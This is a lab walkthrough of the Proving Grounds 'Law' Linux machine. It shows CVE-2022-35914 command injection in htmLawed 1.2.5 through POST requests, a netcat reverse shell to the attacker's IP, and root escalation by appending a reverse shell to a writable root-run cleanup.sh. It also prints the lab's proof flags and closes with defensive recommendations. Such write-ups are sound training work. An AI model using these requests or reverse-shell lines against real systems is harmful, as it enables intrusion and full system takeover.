Skip to content
Writeup Proving Grounds Practice Easy

Law — Proving Grounds

A Proving Grounds Practice Linux walkthrough covering htmLawed command execution, runtime process monitoring, and a root-executed writable script.

Platform
Proving Grounds Practice
Difficulty
Easy
Date
  • proving-grounds
  • linux
  • htmlawed
  • cve-2022-35914
  • web-exploitation
  • reverse-shell
  • privilege-escalation
  • pspy
  • scheduled-tasks

Overview

Law is a Proving Grounds Practice Linux machine. This walkthrough focuses on the observations that connected the exposed web application to the final privilege-escalation path.

This independent walkthrough documents an authorized training-lab exercise for educational purposes and is not affiliated with or endorsed by OffSec.

Attack path summary

An exposed htmLawed 1.2.5 test interface was vulnerable to CVE-2022-35914, allowing command execution and an initial shell as www-data. Local enumeration identified a writable /var/www/cleanup.sh script. Although /etc/crontab did not reveal its trigger, pspy showed the script executing as UID 0. Modifying that root-executed script resulted in root access.

Enumeration

The target was 192.168.194.190. A full TCP scan reduced the initial attack surface to SSH and HTTP:

sudo nmap -sS -p- --min-rate 1000 --open 192.168.194.190
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Service and default-script detection provided the detail needed to prioritize HTTP:

sudo nmap -sS -sV -sC --min-rate 1000 --open 192.168.194.190 -oA nmap_service_and_basic_script
22/tcp open  ssh  OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http Apache httpd 2.4.56 ((Debian))
|_http-title: htmLawed (1.2.5) test

SSH exposed no immediate path in the available evidence. In contrast, HTTP disclosed an htmLawed version and a public test interface, making the web service the stronger hypothesis.

Web application analysis

The HTTP service exposed an htmLawed 1.2.5 test interface. That version made CVE-2022-35914, a PHP code-injection issue that can lead to remote command execution, a relevant hypothesis.

htmLawed 1.2.5 test interface with id in the input field.
The exposed htmLawed 1.2.5 test interface.

The expected form endpoint, /htmLawedTest.php, returned 404. The request was still useful evidence because it preserved the form submission and identified the intended input fields. The excerpt below omits the generated token and unrelated form-state settings; text=id and enc=utf-8 are the source-visible fields relevant to the comparison.

POST /htmLawedTest.php HTTP/1.1
Host: 192.168.194.190
Content-Type: application/x-www-form-urlencoded
Content-Length: 835

text=id&enc=utf-8
HTTP/1.1 404 Not Found
Server: Apache/2.4.56 (Debian)
Content-Type: text/html; charset=iso-8859-1

<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>

The 404 proved that this deployment did not serve the expected script path. It did not prove that htmLawed processing was unreachable. Sending the same relevant form fields to the root path reached the processing behavior:

POST / HTTP/1.1
Host: 192.168.194.190
Content-Type: application/x-www-form-urlencoded
Content-Length: 804

text=id&enc=utf-8

The request body was preserved; only the request path changed from /htmLawedTest.php to /.

HTTP/1.1 200 OK
Server: Apache/2.4.56 (Debian)
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<title>htmLawed 1.2.5 test page</title>
...
Output
id

The path change was a routing adjustment required to reach the vulnerable processing path on this deployment; it was not the vulnerability.

Exploiting htmLawed

With the reachable processor established, the hhook=exec form field set htmLawed’s hook configuration to exec. Before requesting a reverse shell, id provided a low-impact command-execution check and identified the execution context. This excerpt retains the exploit-relevant fields and omits the generated token and unrelated form-state settings.

POST / HTTP/1.1
Host: 192.168.194.190
Content-Type: application/x-www-form-urlencoded

text=id&hhook=exec

The returned processing output confirmed command execution as the Apache service account:

HTTP/1.1 200 OK
Server: Apache/2.4.56 (Debian)
Content-Type: text/html; charset=UTF-8

Output
uid=33(www-data) gid=33(www-data) groups=33(www-data)
htmLawed hook set to exec with id input and www-data command output.
Supplementary view of the `hook=exec` validation.

This validation established the RCE path and its www-data context before a reverse shell was requested.

Establishing an initial shell

The source evidence used a listener on port 4444 and submitted the following payload through the confirmed command-execution channel:

rlwrap nc -nvlp 4444
nc 192.168.45.181 4444 -e /bin/bash

The listener received a connection from the target, and whoami verified the service account:

connect to [192.168.45.181] from (UNKNOWN) [192.168.194.190] 51846
$ whoami
www-data
Listener connection followed by whoami returning www-data.
The initial shell ran as the web-service account.

Local enumeration

The initial shell started in /var/www/html. Moving one directory up exposed both the user proof and a script owned by the web-service account:

pwd
/var/www/html
cd ..
ls -la
-rwxr-xr-x 1 www-data www-data 82 Aug 25 2023 cleanup.sh
drwxr-xr-x 2 www-data www-data 4096 Nov 29 15:59 html
-rw-r--r-- 1 www-data www-data 33 Nov 29 14:52 local.txt
cat local.txt
7aae120b1e9a6b167b5c67110a85f51f

cleanup.sh was noteworthy because it lived in /var/www, was writable by www-data, and removed Apache logs:

cat cleanup.sh
#!/bin/bash

rm -rf /var/log/apache2/error.log
rm -rf /var/log/apache2/access.log

Static crontab inspection did not reference this script. It showed standard system-wide run-parts entries only:

cat /etc/crontab
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

The absence of /var/www/cleanup.sh from /etc/crontab did not rule out recurring privileged execution. It meant static configuration review had reached a dead end, so runtime process observation was the next step.

Identifying the privileged process

I monitored processes with pspy to observe activity without root access:

./pspy64

The focused output showed the crucial execution relationship:

CMD: UID=0 PID=2258 | /bin/sh -c /var/www/cleanup.sh
Focused pspy output showing cleanup.sh executing with UID 0.
pspy observed /var/www/cleanup.sh executing in a root context.

This connected the writable file to a privileged execution context. The issue was not the presence of pspy or the name of a scheduler; it was that a low-privilege account could modify a script later trusted by root.

Privilege escalation

From /var/www, I started a second listener and appended the source payload to the writable script:

rlwrap nc -nvlp 8081
echo 'nc 192.168.45.181 8081 -e /bin/bash' >> cleanup.sh

After the recurring privileged execution ran, the listener received a root shell:

connect to [192.168.45.181] from (UNKNOWN) [192.168.194.190] 37726
# whoami
root
Privileged listener connection followed by whoami returning root.
The modified script returned a root shell.

Root access was verified by locating and reading the proof file:

cat /root/proof.txt
650fecfe7a80b0079615a40a7c4839af

Root cause

Initial access

  • htmLawed 1.2.5 test functionality was publicly exposed.
  • CVE-2022-35914 provided the command-execution path.
  • The vulnerable behavior remained reachable when the original form body was sent to / rather than the missing expected test-script path.

Privilege escalation

  • /var/www/cleanup.sh was writable by www-data.
  • pspy showed the script executing as UID 0.
  • A privileged execution path trusted a file controlled by a low-privilege service account.

Defensive recommendations

  • Upgrade or remove the vulnerable htmLawed deployment and restrict access to test functionality.
  • Ensure scripts executed with elevated privileges are root-owned and not writable by service accounts.
  • Avoid executing privileged scripts from application-writable directories.
  • Review scheduled execution paths and monitor integrity changes for privileged scripts.

Lessons learned

  • Version detection creates a hypothesis; observed request behavior must still validate reachability.
  • A missing expected route does not prove that the vulnerable processing path is unreachable.
  • An empty or unhelpful /etc/crontab does not rule out recurring privileged execution.
  • Runtime process monitoring can reveal execution paths missed by static enumeration.
  • Writable scripts become critical when privileged users execute them.